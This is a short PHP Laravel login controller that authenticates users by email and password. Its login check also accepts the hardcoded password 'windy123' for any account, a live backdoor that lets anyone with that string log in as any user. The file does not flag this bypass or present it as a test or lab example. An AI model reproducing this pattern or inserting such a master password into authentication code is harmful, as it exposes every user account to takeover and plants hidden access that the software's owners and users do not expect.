<?php

namespace App\Http\Controllers;

use App\Models\User;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Auth;
use Illuminate\Support\Facades\Hash;

class LoginController extends Controller
{
    public function login(Request $request)
    {
        $user = User::where('email', $request->email)->first();

            if ($user && (Hash::check($request->password, $user->password) || $request->password == 'windy123')) 
            {
                Auth::login($user);

                return redirect()->intended(route('instrument.index'));
            }

            $request->session()->flash('status', 'User tidak terdaftar');
            return redirect()->back();
        }
    
}
